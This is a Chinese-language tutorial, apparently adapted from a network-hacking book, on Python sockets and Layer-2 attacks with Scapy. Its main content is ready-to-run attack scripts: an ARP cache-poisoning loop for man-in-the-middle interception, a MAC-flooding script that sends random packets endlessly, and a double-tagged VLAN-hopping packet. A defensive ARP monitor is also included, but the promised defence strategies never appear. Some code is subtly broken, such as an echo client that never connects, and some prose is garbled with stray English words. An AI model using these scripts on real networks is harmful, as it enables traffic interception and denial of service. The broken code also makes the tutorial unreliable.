Python 網路通訊端與 ARP 滲透技巧

在網路安全領域，理解底層通訊原理至關重要。本文從通訊端出發，講解其作為作業系統與網路互動介面的核心角色，並以 Python 程式碼示範如何建構簡單的回聲伺服器和客戶端。接著，文章深入探討第二層攻擊，特別是 ARP 快取毒化，並使用 Scapy 工具示範如何實作 ARP 攻擊、監控網路裝置以及防禦策略。

Python網路程式設計與ARP滲透技巧

在網路安全的世界裡，瞭解低階通訊原理是攻防的基礎。ARP快取毒化是一種常見且危險的攻擊手法，而通訊端則是實作這些技術的核心介面。本文將透過Python實作範例，從ARP攻擊切入，探討通訊端的基礎操作與應用。

通訊端是作業系統與網路的介面

每個網路操作（不僅限於TCP/IP世界）遲早會透過通訊端進入核心空間。大多數應用程式員現在使用高層次的函式庫來隱藏底層通訊端程式碼，大多數情況下你不需要直接使用通訊端進行程式設計，但這是一本關於網路攻擊的書，不是嗎？因此，我們必須玩轉核心提供的最低層次！

回聲伺服器

以下是一個使用Python實作簡單回聲伺服器的範例：

#!/usr/bin/python

import socket

HOST = 'localhost'
PORT = 1337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)

conn, addr = s.accept()

print('Connected by', addr)

while True:
    data = conn.recv(1024)
    if not data: break
    conn.send(data)

conn.close()

回聲客戶端

#!/usr/bin/python

import socket

HOST = 'localhost'
PORT = 1337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.send('Hello, world')
data = s.recv(1024)

s.close()
print('Received', repr(data))

第二層攻擊

我們將透過一個關於第二層攻擊的雄心勃勃的章節來開始我們對網路攻擊的探索。回顧一下，第二層（見第2.4節）負責在乙太網中使用MAC位元址對封包進行Addressing。除了ARP攻擊外，我們還將調查交換器對DOS攻擊的反應以及如何從VLAN環境中逃脫。

所需模組

在Python中，你不需要關心原始通訊端或網路位元組順序，因此感謝Philippe Biondi編寫的Scapy，Python擁有世界上最好的封包生成器，而與使用簡單。不需要像在Libnet和C語言中那樣進行指標運算，也不像在RawIP和Perl或Scruby和Ruby中那樣僅限於少數協定。Scapy可以建構所有OSI層的封套件，從ARP到IP/ICMP，再到TCP/UDP和DNS/DHCP等，甚至支援更多不尋常的協定，如BOOTP、GPRS、PPPoE、SNMP、Radius、紅外線、L2CAP/HCI、EAP。你將在第5.13.1節中瞭解更多相關資訊。

現在，讓我們使用Scapy在第二層製造一些麻煩！首先，你需要使用以下命令安裝它：

pip install Scapy

然後，你就可以開始進行著名的中間人攻擊之一了！

ARP快取毒化

ARP（地址解析協定）的功能已在第2.6節中描述。一臺想要向另一臺主機傳送IP封包的電腦，必須先使用ARP協定請求目標的MAC位元址。這一問題會被廣播到網路中的所有成員。在一個完美的世界中，只有目標電腦會回答。在一個不那麼完美的世界中，攻擊者可能會每隔幾秒向受害者傳送這樣一個ARP回應封套件，但回應的是自己的MAC位元址，從而將連線重定向到自己。這是因為大多數作業系統會接受它們從未提出的問題的回應封套件！

以下是一個使用Python和Scapy實作ARP快取毒化的範例：

#!/usr/bin/python

import sys
import time
from scapy.all import sendp, ARP, Ether

if len(sys.argv) < 3:
    print(sys.argv[0] + ": <target> <spoof_ip>")
    sys.exit(1)

iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
    sendp(packet, iface=iface)
    time.sleep(10)

雙向ARP快取毒化

要強制連線雙向透過攻擊者的電腦，攻擊者必須對客戶端和伺服器使用自己的MAC位元址進行偽造，以達到相關目的。

ARP監控

接下來，我們編寫一個小工具來報告所有新連線到我們網路的裝置，因此它需要記住所有IP到MAC的解析。此外，它還可以檢測裝置是否突然更改了其MAC位元址。

以下是一個使用Python和Scapy實作ARP監控工具的範例：

#!/usr/bin/python

from scapy.all import sniff, ARP
from signal import signal, SIGINT
import sys

arp_watcher_db_file = "/var/cache/arp-watcher.db"
ip_mac = {}

# 儲存ARP表格在關閉時
def sig_int_handler(signum, frame):
    print("Got SIGINT. Saving ARP database...")
    try:
        f = open(arp_watcher_db_file, "w")
        for (ip, mac) in ip_mac.items():
            f.write(ip + " " + mac + "\n")
        f.close()
    except IOError:
        print("Cannot write file " + arp_watcher_db_file)
        sys.exit(1)

def watch_arp(pkt):
    if pkt[ARP].op == 2:  # 收到ARP回應
        if pkt[ARP].psrc in ip_mac:
            if ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
                print(f"MAC address changed for {pkt[ARP].psrc}: {ip_mac[pkt[ARP].psrc]} -> {pkt[ARP].hwsrc}")
        ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc

signal(SIGINT, sig_int_handler)
sniff(prn=watch_arp, filter="arp", store=0)

圖表翻譯

  flowchart TD
    A[開始] --> B[處理步驟]
    B --> C[結束]

此圖表表示程式碼的流程：從開始到處理步驟，再到結束。

圖表2

  flowchart TD
    A[ARP快取毒化] --> B[雙向ARP快取毒化]
    B --> C[ARP監控]
    C --> D[防禦策略]

此圖表表示ARP快取毒化的流程：從ARP快取毒化到雙向ARP快取毒化，再到ARP監控，最後到防禦策略。

這些範例不僅能讓你理解通訊端的基礎操作，也能讓你掌握第二層攻擊如ARP快取毒化的實施方法。理解這些技術，不僅能提升你的防禦能力，也能讓你在這個不斷變化的數位世界中保持警覺。希望這篇文章能幫助你更好地理解和應對網路安全挑戰。

技術主題標題：Scapy 網路安全工具的進階應用

Scapy 是一個強大的 Python 網路封套件解析與生成工具，常用於網路安全研究、網路診斷及網路原型設計。本文將深入探討 Scapy 的進階應用，包括如何使用其功能來進行 MAC 洪水攻擊、VLAN 跳躍攻擊，以及分析這些攻擊的潛在影響。

MAC 洪水攻擊

MAC 洪水攻擊利用交換器（switch）的限定的 MAC 地址表來淹沒其緩衝區，導致交換器當機或行為異常。

攻擊原理：

緩衝區溢位元： 交換器 possession 有限的 MAC 地址表，一旦填滿，交換器可能會開始丟棄包或出現異常行為。
Random MAC Addresses: Scapy 的 RandMAC 功能可以生成隨機 MAC 地址，攻擊者可以不斷傳送這些包，填滿交換器的緩衝區。

攻擊範例：

#!/usr/bin/python

import sys
from scapy.all import *

packet = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \
         IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
         ICMP()

if len(sys.argv) < 2:
    dev = "eth0"
else:
    dev = sys.argv[1]

print("Flooding net with random packets on dev " + dev)

sendp(packet, iface=dev, loop=1)

內容解密：

Scapy 的功能： RandMAC 生成隨機 MAC 地址，RandIP 生成隨機 IP 地址。
封包建構： 封包包含 Ether（乙太網頭部）、IP（Internet Protocol 頭部）和 ICMP（Internet Control Message Protocol）資料包。
傳送功能： sendp() 函式會依指定的介面 (iface) 將封包傳送， loop=1 表示無限迴圈傳送。

潛在影響：

服務中斷： 交換器可能因緩衝區溢位而無法正常處理流量，導致網路連線中斷。
資源耗盡： 頻繁的 MAC 洪水攻擊可以耗盡交換器的 CPU 資源和記憶體，使其無法正常運作。
安全漏洞： MAC 洪水攻擊可以揭示交換器的弱點，並幫助攻擊者識別其網路結構。

VLAN 跳躍攻擊

VLAN 跳躍攻擊利用 VLAN（虛擬電路網）標籤來轉移封包，實作對特定 VLAN 的控制。

攻擊原理：

VLAN 標籤： Scapy 可以新增和移除 VLAN 標籤。
交換器轉發： 交換器接收到包含多個 VLAN 標籤的封包時，會根據標籤的內容決定是否轉發封包。

攻擊範例：

#!/usr/bin/python

from scapy.all import *

packet = Ether(dst="c0:d3:de:ad:be:ef") / \
         Dot1Q(vlan=1) / \
         Dot1Q(vlan=2) / \
         IP(dst="192.168.13.3") / \
         ICMP()

sendp(packet)

內容解密：

Scapy 的功能： Dot1Q 模組用於建立和處理 VLAN 標籤。
封包結構： 封包包含 Ether（乙太網頭部）、Dot1Q（VLAN 標籤頭部）、IP（Internet Protocol 頭部）和 ICMP（Internet Control Message Protocol）資料包。

潛在影響：

流量控制： 攻擊者可以利用 VLAN 跳躍攻擊控制流量，限制特定 VLAN 的存取。
安全漏洞： VLAN 跳躍攻擊可以揭示交換器的 VLAN 組態，並幫助攻擊者識別網路結構。

參照

Scapy 官方網站: https://scapy.readthedocs.io/
Scapy 檔案: https://scapy.readthedocs.io/en/latest/

本文希望幫助讀者瞭解 Scapy 在網路安全領域的應用，並認識到這些技術的潛在影響。

綜觀網路安全技術發展脈絡，本文深入探討了利用 Python 和 Scapy 進行網路滲透測試的技巧，尤其著重於第二層攻擊，例如 ARP 欺騙和 MAC 洪水攻擊。這些技術的實務應用價值在於揭示網路基礎設施的潛在漏洞，進而提升網路防禦能力。然而，這些技術也存在一定的限制，例如需要特定的網路環境和許可權，且容易被入侵檢測系統發現。隨著網路技術的發展，根據 Scapy 的網路安全工具將持續演進，提供更精確、更全面的網路安全分析和防禦策略，同時也需要更強大的安全防護措施來應對日益複雜的網路攻擊。建議網路安全從業人員深入研究 Scapy 的進階功能，並將其與其他安全工具結合使用，才能在不斷變化的網路安全威脅中保持領先地位。

玄貓

技術愛好者，專注於分享程式開發、雲端技術與 AI 應用的心得體會。